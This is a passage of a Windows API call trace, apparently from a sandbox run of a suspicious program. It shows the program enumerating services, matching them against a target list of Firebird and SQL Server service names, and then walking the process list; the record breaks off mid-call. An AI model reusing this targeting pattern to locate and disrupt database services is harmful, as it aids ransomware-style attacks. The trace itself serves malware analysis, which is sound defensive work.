returned 0x37e29a0 [0087.061] EnumServicesStatusExW (in: hSCManager=0x4cef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37e29a0, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37e29a0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0087.062] CloseServiceHandle (hSCObject=0x4cef40) returned 1 [0087.062] lstrlenW (lpString="Appinfo") returned 7 [0087.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0087.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0087.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0087.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0087.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0087.062] lstrlenW (lpString="AppXSvc") returned 7 [0087.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0087.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0087.063] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0087.063] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0087.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0087.063] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0087.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0087.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0087.063] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0087.063] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0087.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0087.063] lstrlenW (lpString="Audiosrv") returned 8 [0087.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0087.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0087.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0087.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0087.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0087.063] lstrlenW (lpString="BFE") returned 3 [0087.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0087.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0087.063] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0087.063] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0087.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0087.063] lstrlenW (lpString="BITS") returned 4 [0087.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0087.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0087.063] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0087.063] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0087.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0087.063] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0087.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0087.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0087.064] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0087.064] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0087.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0087.064] lstrlenW (lpString="CDPSvc") returned 6 [0087.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0087.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0087.064] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0087.064] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0087.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0087.064] lstrlenW (lpString="ClickToRunSvc") returned 13 [0087.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0087.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0087.064] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0087.064] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0087.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0087.064] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0087.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0087.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0087.064] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0087.064] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0087.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0087.064] lstrlenW (lpString="CryptSvc") returned 8 [0087.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0087.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0087.064] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0087.064] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0087.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0087.064] lstrlenW (lpString="DcomLaunch") returned 10 [0087.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0087.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0087.065] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0087.065] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0087.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0087.065] lstrlenW (lpString="DeviceAssociationService") returned 24 [0087.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0087.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0087.065] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0087.065] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0087.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0087.065] lstrlenW (lpString="Dhcp") returned 4 [0087.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0087.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0087.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0087.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0087.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0087.065] lstrlenW (lpString="Dnscache") returned 8 [0087.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0087.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0087.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0087.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0087.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0087.065] lstrlenW (lpString="DoSvc") returned 5 [0087.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0087.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0087.065] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0087.065] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0087.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0087.065] lstrlenW (lpString="DPS") returned 3 [0087.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0087.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0087.065] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0087.065] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0087.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0087.066] lstrlenW (lpString="DusmSvc") returned 7 [0087.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0087.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0087.066] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0087.066] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0087.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0087.066] lstrlenW (lpString="EventLog") returned 8 [0087.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0087.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0087.066] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0087.066] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0087.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0087.066] lstrlenW (lpString="EventSystem") returned 11 [0087.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0087.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0087.066] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0087.066] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0087.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0087.066] lstrlenW (lpString="FontCache") returned 9 [0087.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0087.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0087.066] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0087.066] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0087.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0087.066] lstrlenW (lpString="gpsvc") returned 5 [0087.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0087.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0087.066] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0087.066] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0087.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0087.066] lstrlenW (lpString="iphlpsvc") returned 8 [0087.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0087.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0087.066] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0087.066] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0087.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0087.067] lstrlenW (lpString="KeyIso") returned 6 [0087.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0087.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0087.067] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0087.067] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0087.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0087.067] lstrlenW (lpString="LanmanServer") returned 12 [0087.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0087.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0087.067] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0087.067] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0087.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0087.067] lstrlenW (lpString="LanmanWorkstation") returned 17 [0087.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0087.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0087.067] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0087.067] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0087.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0087.067] lstrlenW (lpString="lfsvc") returned 5 [0087.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0087.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0087.067] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0087.067] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0087.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0087.068] lstrlenW (lpString="lmhosts") returned 7 [0087.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0087.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0087.068] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0087.068] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0087.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0087.068] lstrlenW (lpString="LSM") returned 3 [0087.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0087.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0087.068] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0087.068] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0087.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0087.068] lstrlenW (lpString="MapsBroker") returned 10 [0087.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0087.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0087.068] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0087.068] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0087.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0087.068] lstrlenW (lpString="MpsSvc") returned 6 [0087.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0087.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0087.068] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0087.068] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0087.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0087.068] lstrlenW (lpString="NcbService") returned 10 [0087.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0087.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0087.068] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0087.068] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0087.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0087.068] lstrlenW (lpString="netprofm") returned 8 [0087.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0087.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0087.068] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0087.069] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0087.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0087.069] lstrlenW (lpString="NlaSvc") returned 6 [0087.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0087.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0087.069] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0087.069] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0087.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0087.069] lstrlenW (lpString="nsi") returned 3 [0087.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0087.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0087.069] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0087.069] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0087.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0087.069] lstrlenW (lpString="PcaSvc") returned 6 [0087.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0087.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0087.069] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0087.069] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0087.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0087.069] lstrlenW (lpString="PlugPlay") returned 8 [0087.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0087.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0087.069] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0087.069] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0087.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0087.069] lstrlenW (lpString="Power") returned 5 [0087.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0087.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0087.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0087.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0087.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0087.069] lstrlenW (lpString="ProfSvc") returned 7 [0087.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0087.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0087.070] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0087.070] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0087.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0087.070] lstrlenW (lpString="RpcEptMapper") returned 12 [0087.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0087.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0087.070] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0087.070] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0087.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0087.070] lstrlenW (lpString="RpcSs") returned 5 [0087.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0087.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0087.070] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0087.070] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0087.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0087.070] lstrlenW (lpString="SamSs") returned 5 [0087.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0087.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0087.070] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0087.070] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0087.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0087.070] lstrlenW (lpString="Schedule") returned 8 [0087.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0087.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0087.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0087.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0087.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0087.070] lstrlenW (lpString="SecurityHealthService") returned 21 [0087.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0087.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0087.070] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0087.070] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0087.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0087.070] lstrlenW (lpString="SENS") returned 4 [0087.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0087.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0087.071] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0087.071] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0087.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0087.071] lstrlenW (lpString="ShellHWDetection") returned 16 [0087.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0087.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0087.071] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0087.071] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0087.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0087.071] lstrlenW (lpString="Spooler") returned 7 [0087.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0087.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0087.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0087.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0087.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0087.071] lstrlenW (lpString="SSDPSRV") returned 7 [0087.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0087.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0087.071] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0087.071] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0087.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0087.071] lstrlenW (lpString="StateRepository") returned 15 [0087.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0087.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0087.071] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0087.071] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0087.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0087.071] lstrlenW (lpString="SysMain") returned 7 [0087.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0087.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0087.071] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0087.071] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0087.072] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x37e29a0 | out: hHeap=0x490000) returned 1 [0087.072] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0087.078] Process32FirstW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0087.078] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0087.079] lstrlenW (lpString="System") returned 6 [0087.079] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0087.080] lstrlenW (lpString="smss.exe") returned 8 [0087.080] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0087.080] lstrlenW (lpString="csrss.exe") returned 9 [0087.080] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0087.081] lstrlenW (lpString="wininit.exe") returned 11 [0087.081] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0087.081] lstrlenW (lpString="csrss.exe") returned 9 [0087.081] Process32NextW (in: hSnapshot=0x330, lppe=0x24dfd2c | out: 